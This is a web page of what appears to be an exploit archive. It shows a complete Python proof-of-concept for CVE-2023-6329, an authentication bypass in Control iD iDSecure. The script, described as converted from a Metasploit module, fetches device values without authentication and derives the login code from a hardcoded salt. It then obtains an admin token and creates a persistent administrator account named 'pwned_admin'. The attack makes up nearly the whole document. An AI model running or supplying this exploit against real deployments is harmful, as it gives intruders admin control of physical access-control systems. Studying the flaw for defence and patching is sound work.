5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2023-6329 - Control iD iDSecure Authentication Bypass
Converts the Metasploit module to a standalone Python script for CTF use.

Vulnerability: Improper access control in iDSecure <= v4.7.43.0
Impact: Unauthenticated attacker can compute valid credentials and add an admin user.
"""

import hashlib
import json
import argparse
import sys
import requests
import urllib3

# Suppress SSL warnings (self-signed certs are common on these devices)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_version(base_url: str) -> str | None:
    """
    Step 0: Probe the target to confirm it's vulnerable.
    The /api/util/configUI endpoint returns 401 with version info even unauthed.
    """
    try:
        res = requests.get(f"{base_url}/api/util/configUI", verify=False, timeout=10)
    except requests.exceptions.ConnectionError:
        print("[-] Could not connect to target.")
        return None

    if res.status_code != 401:
        print(f"[-] Unexpected status code {res.status_code}, expected 401.")
        return None

    data = res.json()
    version = data.get("Version")
    if not version:
        print("[-] Could not retrieve version from response.")
        return None

    print(f"[*] Target version: {version}")

    # Simple version comparison - vulnerable if <= 4.7.43.0
    def parse_ver(v):
        return tuple(int(x) for x in v.split("."))

    if parse_ver(version) <= parse_ver("4.7.43.0"):
        print("[+] Target appears VULNERABLE.")
    else:
        print("[-] Target appears patched. Proceeding anyway...")

    return version


def get_unlock_data(base_url: str) -> tuple[str, str]:
    """
    Step 1: Hit the unlockGetData endpoint to retrieve two key values:
      - 'serial':         the device's serial number (used as a seed)
      - 'passwordRandom': a one-time random value tied to this login attempt
    These are returned unauthenticated, which is the root of the vulnerability.
    """
    res = requests.get(f"{base_url}/api/login/unlockGetData", verify=False, timeout=10)
    res.raise_for_status()

    data = res.json()
    password_random = data["passwordRandom"]
    serial = data["serial"]

    print(f"[+] passwordRandom : {password_random}")
    print(f"[+] serial         : {serial}")

    return serial, password_random


def compute_password_custom(serial: str, password_random: str) -> str:
    """
    Step 2: Derive the 'passwordCustom' value that the server will accept.

    The algorithm is:
      1. SHA1(serial)                         -> sha1_hash (hex string)
      2. sha1_hash + passwordRandom + 'cid2016' -> combined (hardcoded salt!)
      3. SHA256(combined)                      -> sha256_hash (hex string)
      4. Take first 6 hex chars, convert to decimal -> passwordCustom

    The hardcoded salt 'cid2016' is what makes this exploitable —
    any attacker can reproduce this calculation with publicly known inputs.
    """
    sha1_hash = hashlib.sha1(serial.encode()).hexdigest()
    combined = sha1_hash + password_random + "cid2016"  # <-- hardcoded salt
    sha256_hash = hashlib.sha256(combined.encode()).hexdigest()
    short_hash = sha256_hash[:6]                        # first 6 hex chars
    password_custom = str(int(short_hash, 16))          # hex -> decimal string

    print(f"[*] Computed passwordCustom: {password_custom}")
    return password_custom


def login_with_computed_creds(base_url: str, password_custom: str, password_random: str) -> str:
    """
    Step 3: Use the computed passwordCustom + passwordRandom to authenticate.
    On success the server returns a JWT (accessToken) granting admin access.
    """
    payload = {
        "passwordCustom": password_custom,
        "passwordRandom": password_random
    }

    res = requests.post(
        f"{base_url}/api/login/",
        json=payload,
        verify=False,
        timeout=10
    )
    res.raise_for_status()

    data = res.json()
    access_token = data.get("accessToken")
    if not access_token:
        print("[-] No accessToken in response. Auth may have failed.")
        sys.exit(1)

    print(f"[+] JWT: {access_token[:60]}...")
    return access_token


def add_admin_user(base_url: str, token: str, username: str, password: str) -> None:
    """
    Step 4: Use the JWT to create a new operator (admin) account.
    idType '1' corresponds to an administrative role.
    """
    payload = {
        "idType": "1",
        "name": username,
        "user": username,
        "newPassword": password,
        "password_confirmation": password
    }

    res = requests.post(
        f"{base_url}/api/operator/",
        json=payload,
        headers={"Authorization": f"Bearer {token}"},
        verify=False,
        timeout=10
    )
    res.raise_for_status()

    data = res.json()
    if data.get("code") == 200 and data.get("error") == "OK":
        print(f"[+] User '{username}' created successfully.")
    else:
        print(f"[-] Unexpected response when creating user: {data}")
        sys.exit(1)


def verify_login(base_url: str, username: str, password: str) -> None:
    """
    Step 5: Confirm the new account actually works by logging in with it.
    """
    payload = {
        "username": username,
        "password": password,
        "passwordCustom": None
    }

    res = requests.post(
        f"{base_url}/api/login/",
        json=payload,
        verify=False,
        timeout=10
    )
    res.raise_for_status()

    data = res.json()
    if "accessToken" in data:
        print(f"[+] Verified! New credentials work.")
        print(f"[+] Login at: {base_url}/#/login")
        print(f"    Username : {username}")
        print(f"    Password : {password}")
    else:
        print("[-] Could not verify new credentials.")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2023-6329 - Control iD iDSecure Auth Bypass"
    )
    parser.add_argument("--host", required=True, help="Target IP or hostname")
    parser.add_argument("--port", default=30443, type=int, help="Target port (default: 30443)")
    parser.add_argument("--no-ssl", action="store_true", help="Disable SSL/HTTPS")
    parser.add_argument("--username", default="pwned_admin", help="New admin username to create")
    parser.add_argument("--password", default="Pwned1234!", help="Password for the new account")
    args = parser.parse_args()

    scheme = "http" if args.no_ssl else "https"
    base_url = f"{scheme}://{args.host}:{args.port}"

    print(f"[*] Target: {base_url}")
    print("=" * 60)

    check_version(base_url)
    serial, password_random = get_unlock_data(base_url)
    password_custom = compute_password_custom(serial, password_random)
    token = login_with_computed_creds(base_url, password_custom, password_random)
    add_admin_user(base_url, token, args.username, args.password)
    verify_login(base_url, args.username, args.password)


if __name__ == "__main__":
    main()